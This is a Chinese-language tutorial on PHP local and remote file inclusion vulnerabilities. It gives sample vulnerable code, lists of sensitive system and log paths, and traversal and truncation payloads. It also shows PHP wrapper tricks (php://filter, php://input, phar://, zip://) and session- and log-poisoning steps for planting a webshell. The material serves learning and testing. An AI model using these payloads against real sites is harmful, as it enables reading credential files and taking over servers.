簡析文件包含漏洞


一、文件包含漏洞簡介

1、原理

服務器執行PHP文件時,可以通過文件包含函數加載另一個文件中的PHP代碼,並且當PHP來執行,這可以給開發者節省大量的時間。而這也導致客戶端可以調用一個惡意文件,造成文件包含漏洞。

2、文件包含漏洞利用的前提條件

1)web 應用采用 include 等文件包含函數,並且需要包含的文件路徑是通過用戶傳輸參
數的方式引入。
2)用戶能夠控制包含文件的參數,被包含的文件可被當前頁面訪問。

3、文件包含獲取 webshell 的條件

1)攻擊者需要知道文件存放的物理路徑
2)對上傳文件所在目錄擁有可執行權限
3)存在文件包含漏洞

4、典型特征

變量的值變成一個頁面

?page=a.php
?home=b.html
?file=content
...

5、分類

文件包含漏洞共分為兩大類,本地文件包含遠程文件包含

 

二、文件包含函數

PHP中文件包含函數有以下四種:

require()
include()

require_once()
include_once()

include和require區別主要是,include在包含的過程中如果出現錯誤,會拋出一個警告,程序繼續正常運行;而require函數出現錯誤的時候,會直接報錯並退出程序的執行。

而include_once(),require_once()這兩個函數,與前兩個的不同之處在於這兩個函數只包含一次。適用於在腳本執行期間同一個文件有可能被包括超過一次的情況下,想確保它只被包括一次以避免函數重定義,變量重新賦值等問題。

 

三、本地文件包含漏洞

1、常見的敏感信息路徑

1)Windows

C:\boot.ini //查看系統版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件
C:\windows\repair\sam //存儲 windows 系統初次安裝的密碼
C:\Program Files\mysql\my.ini //mysql 配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php 配置信息
C:\windows\my.ini //mysql 配置文件

2)UNIX/Linux

/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2 默認配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP 相關配置
/etc/httpd/conf/httpd.conf //apache
/etc/php5/apache2/php.ini //ubuntu 系統的默認路徑

3)日志默認路徑

① apache+Linux 日志默認路徑
/etc/httpd/logs/access_log
/var/log/httpd/access_log

② apache+win2003 日志默認路徑
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log

③ IIS6.0+win2003 默認日志文件
C:\WINDOWS\system32\Logfiles

④ IIS7.0+win2003 默認日志文件
%SystemDrive%\inetpub\logs\LogFiles

⑤ nginx 日志文件
日志文件在用戶安裝目錄 logs 目錄下
如:/usr/local/nginx/logs

 

2、無限制本地包含漏洞

示例簡單源碼如下:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

通過目錄遍歷漏洞可以獲取到系統中其他文件的內容(../../etc/passwd

 

3、session文件包含漏洞

1)利用條件:session存儲位置可以獲取

  • 通過phpinfo信息獲取session存儲位置
  • 猜測默認的session存放位置(Linux默認存放在/var/lib/php/session;Windows默認在C:\WINDOWS\Temp或集成環境下的tmp文件夾里)

2)方法

存在本地文件包含漏洞,可通過ctfs寫入惡意代碼到session文件中,然后通過文件包含漏洞執行此惡意代碼getshell。

示例簡單源碼如下:

<?php
	session_start();
	$ctfs=$_GET['ctfs'];
	$_SESSION["username"]=$ctfs;
?>

此php會將獲取到的GET型ctfs變量的值存入到session中。

當訪問http://xxx.com/session.php?ctfs=<?php phpinfo();?> 后,會在/var/lib/php/session目錄下存儲session的值。攻擊者通過phpinfo()信息泄露或者猜測能獲取到session存放的位置,文件名稱通過開發者模式可獲取到,然后通過文件包含的漏洞解析惡意代碼getshell。

 

4、有限制本地包含漏洞繞過

1)%00截斷

條件:magic_quotes_gpc=OFF & PHP版本<5.3.4

測試:?filename=../../../../../../boot.ini%00

2)路徑長度截斷

條件:windows下目錄路徑最大長度為256字節,Linux下目錄最大長度為4096字節,超出長度將丟棄。

測試:?filename=text.txt././././. 或 ?filename=test.txt.....

 

四、遠程文件包含

服務器的php.ini的配置選項allow_url_fopen和allow_url_include為On,則include/require函數式是可加載遠程文件的。

allow_url_fopen = On(是否允許打開遠程文件)

allow_url_include = On(是否允許include/require遠程文件)

1、有限制遠程文件包含漏洞繞過

測試簡單源碼如下:

<?php include($_GET['filename'] . ".html"); ?>

代碼中多添加了html后綴,導致遠程包含的文件也會多一個html后綴。

1)問號繞過

?filename=http://../../php.txt?

2)#號繞過

?filenamr=http://../../php.txt%23

3)空格繞過

?filename=http://../../php.txt%20

 

五、PHP偽協議使用

1、php://filter(本地磁盤文件讀取)

元封裝器,設計用於"數據流打開"時的"篩選過濾"應用,對本地磁盤文件進行讀寫。

1)條件:只是讀取,需要開啟allow_url_fopen,不需開啟allow_url_include

2)用法如下:

?filename=php://filter/convert.base64-encode/resource=xx.php

?filwname=php://filter/read=convert.base64-encode/resource=xx.php

 

2、php://input(讀取post數據、寫入一句話木馬)

  • 可以訪問請求的原始數據的只讀流。即可以直接讀取到POST上沒有經過解析的原始數據。 enctype="multipart/form-data" 的時候 php://input 是無效的。
  • 遇到file_get_contents()就要想着用php://input繞過,因為php偽協議也是可以利用http協議的,即可使用post方式傳遞數據。

 

3、data://偽協議

數據流封裝器,和php://相似都是利用了流的概念,將原本的include的文件流重定向到了用戶可控制的輸入流中,簡單來說就是執行文件的包含方法包含了你的輸入流,通過你輸入payload來實現目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

 

4、phar://偽協議

這個參數是就是php解壓縮包的一個函數,不管后綴是什么,都會當做壓縮包來解壓。

1)用法:?file=phar://壓縮包/內部文件 phar://xxx.png/shell.php

注意: PHP > =5.3.0 壓縮包需要是zip協議壓縮,rar不行,將木馬文件壓縮后,改為其他任意格式的文件都可以正常使用。

2)步驟:寫一個一句話木馬文件shell.php,然后用zip協議壓縮為shell.zip,然后將后綴改為png等其他格式。

 

5、zip://偽協議

zip偽協議和phar協議類似,但是用法不一樣。

1)用法:?file=zip://[壓縮文件絕對路徑]#[壓縮文件內的子文件名] zip://xxx.png#shell.php。

2)條件: PHP > =5.3.0,注意在windows下測試要5.3.0<PHP<5.4 才可以,#在瀏覽器中要編碼為%23,否則瀏覽器默認不會傳輸特殊字符。

 

六、包含apache 日志

一般情況下 apache 會存在兩個日志文件,access.log(訪問日志)和 error.log(錯誤日志)。

當訪問一個不存在的資源時,Apache日志同樣會記錄,並寫到accsee.log文件中,這時再去包含
Apache的日志文件,就可以利用包含漏洞。即通過在url處制造錯誤,從而將錯誤寫入錯誤日志中並且進行包含錯誤日志操作,達到getshell的效果。

如果在訪問URL后一句話木馬在日志文件里變形了(PHP代碼中的"<,>,空格"都會被瀏覽器轉碼),無法利用Apache包含漏洞,可以通過Burpsuite繞過編碼。

 

參考

https://www.cnblogs.com/appear001/p/11149996.html

https://blog.csdn.net/qq_39431542/article/details/88628225

https://www.freebuf.com/articles/web/182280.html

https://www.freebuf.com/articles/web/277756.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM